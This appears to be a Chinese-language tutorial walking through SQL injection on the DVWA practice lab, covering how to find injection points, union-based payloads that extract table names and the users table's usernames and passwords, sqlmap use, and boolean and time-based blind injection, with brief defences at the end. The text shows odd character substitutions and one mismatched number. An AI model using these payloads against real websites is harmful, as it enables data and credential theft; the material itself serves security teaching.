sql注入漏洞

數據定義語言DDL用於定義數據庫結構,數據操做語言DML用於對數據庫進行查詢或更新。php

1、注入原理sql

產生SQL注入漏洞的根本緣由在於代碼中沒有對用戶輸入項進行驗證和處理便直接拼接到查詢語句中。利用SQL注入漏洞,攻擊者能夠在應用的查詢語句中插入本身的SQL代碼並傳遞給後臺SQL服務器時加以解析並執行。數據庫

 

2、尋找注入點安全

若是對一個網站進行SQL注入攻擊,首先須要找到存在SQL注入漏洞的地方,也就是注入點。可能的SQL注入點通常存在於登錄頁面、查找頁面、或添加頁面等用戶能夠查找或修改數據的地方。
服務器

尋找注入點的思想,就是在參數後插入可能使查詢結果發生改變的SQL代碼。若是插入的代碼沒有被數據庫執行,而是看成普通的字符串處理,那麼應用多是安全的,若是插入的代碼被數據庫執行了,一般說明該應用存在SQL注入漏洞。cookie

GET型的請求最容易被注入。一般關注ASP、JSP、CGI或PHP的網頁,尤爲是URL中攜帶參數的。測試

  1. 單引號法網站

    在url參數後添加一個單引號,若存在一個注入點則一般會返回一個錯誤。ui

  2. 永真永假法url

    與上一個永真式,邏輯不受影響,頁面應當與原頁面相同;與上一個永假式,會影響原邏輯,頁面可能出錯或跳轉。

 

 

3、SQL注入

 

      1. LOW

        發現報錯,接下來進行自動化注入。

        使用sqlmap-u url進行測試的時候,意味着要訪問sqli頁面,須要經過login.php優先登陸,登陸後才能夠訪問。所以,須要獲取登錄權限才能夠訪問。

        在利用sqlmap以前,須要打開本地代理服務器,kali裏,內置了SQLmap、Paros Proxy、Burp Suite等軟件),選用Pars。

        分析源碼,能夠看到沒有對參數作任何的過濾,直接帶入數據庫進行查詢,分析sql查詢語句,可能存在字符型sql注入。

        判斷sql是否存在存入,以及注入的類型:

        1' and '1'='1

        猜解SQL查詢語句中的字段數

        1' order by 2#

        1' order by 3#


        從上面兩個圖能夠說明,SQL語句查詢的表的字段數是2

        查詢當前的數據庫,以及版本:

        1' union select version(),database()#

        獲取數據庫中的表:

        1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

        獲取表中的字段名:

        1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

        得到字段中的數據:

        1' union select user,password from users#

 

4、SQL注入實踐

  經過Sqlmapmap進行自動化注入。使用sqlmap -u url進行測試的時候,要能登錄sqli頁面,須要經過login.php優先登陸,登陸後才能夠訪問。打開本地代理服務器並抓取cookie記錄。

  

  1. 斷定注入  

  

  

  2. 列舉數據庫

  

  

   3.列舉表

  

  

 

   4. 列舉列

  

  

 

   5. 列舉數據

  

  

 

 4、SQL注入盲注

  有一些SQL注入能夠將SQL執行的結果回顯,這種狀況下,能夠直接經過回顯的結果來顯示想要查詢的各種信息,但在實際狀況中,具備回顯的注入點很是罕見。這種狀況下就須要SQL盲注。

  SQL盲注是不能經過直接顯示的途徑來獲取數據庫的方法。在盲注中,攻擊者根據其返回頁面的不一樣來判斷信息(多是頁面內容的不一樣,也多是響應時間不一樣)。通常狀況下,盲注可分爲三類:基於布爾SQL盲注、基於時間的SQL盲注、基於報錯的SQL盲注。

  1. 基於布爾SQL盲注

  對於一個注入點,頁面只返回True和Fause兩種類型頁面,此時能夠利用基於布爾SQL的盲注,就是經過判斷語句猜解,若是判斷條件正確則頁面顯示正常,不然報錯,這樣一輪一輪猜下去直到猜對,是比較簡單但相對麻煩的盲注方式。

  a. 判斷是否存在注入,注入是字符型仍是數字型。

   輸入1,顯示用戶存在。

  

   輸入1‘  and 1=1 #,單引號爲了閉合原來SQL語句中的第一個單引號,然後面的#爲了閉合後面的單引號。運行後顯示存在。

  

   輸入1’ and 1=2 #,顯示不存在,說明存在SQL盲注。源代碼中可看到未對ID作任何處理。

  

    

  b.  猜解當前數據庫名

  首先猜解數據庫名的長度,而後挨個猜解字符。

   輸入1‘ and length(database())=1 #,顯示不存在;

   輸入1’ and length(database())=4 #,顯示存在,說明數據庫名長度爲4。

  

   

   

   採用二分法猜解數據庫名字。

   輸入1‘ and ascii(substr(database(),1,1))>37 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);

   122(小寫字母z的ascii值)、109(小寫字母m的ascii值)、103(小寫字母g的ascii值)、100(小寫字母d的ascii值)。

   重複步驟,猜解出完整的數據庫名爲dvwa。

   

   c. 猜解數據庫中的表名。

   首先,猜解數據庫中表的數量;

   1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,顯示不存在;

   1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,顯示存在。

  

  

  說明數據庫中有兩個表,接着猜解表名:

  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,顯示不存在;

  1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #,顯示存在。

  說明第一個表名長度爲5。

  

   

  接下來,繼續用二分法猜想表名:

  1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #,

  

   1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117 #

   

   以此類推,表的名字爲users和guestbook;

   d. 猜解表中字段名:

  首先,猜解表中字段的數量,

  1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #,顯示存在;

  

   說明users表中有8個字段,接着挨個猜解字段名:

  1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #,顯示存在

   

   說明user表中的第一個字段爲7個字符長度,採用二分法,便可猜解出全部字段名。

   e. 猜解表中數據

  繼續用二分法。

 

   2. 基於時間的SQL盲注

  也可使用基於時間的SQL盲注,首先判斷是否存在注入,注入是字符型仍是數字型:

  輸入1' and sleep(5) #,感受到明顯延遲;

  輸入1 and sleep(5) #,沒有延遲,說明存在字符型的基於時間的盲注。

  猜解當前數據庫名字長度:

  1' and if(length(database())=4,sleep(5),1) #,明顯延遲。

  採用二分法猜解數據庫名:

  1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #,明顯延遲。

  以此類推,猜解表、字段和數據。

 

 5、SQL注入防護措施

  如:

  1. 在服務端正式處理以前對提交數據的合法性進行檢查;
  2. 封裝客戶端提交信息;
  3. 替換或刪除敏感字符/字符串;
  4. 屏蔽出錯信息。
相關文章
相關標籤/搜索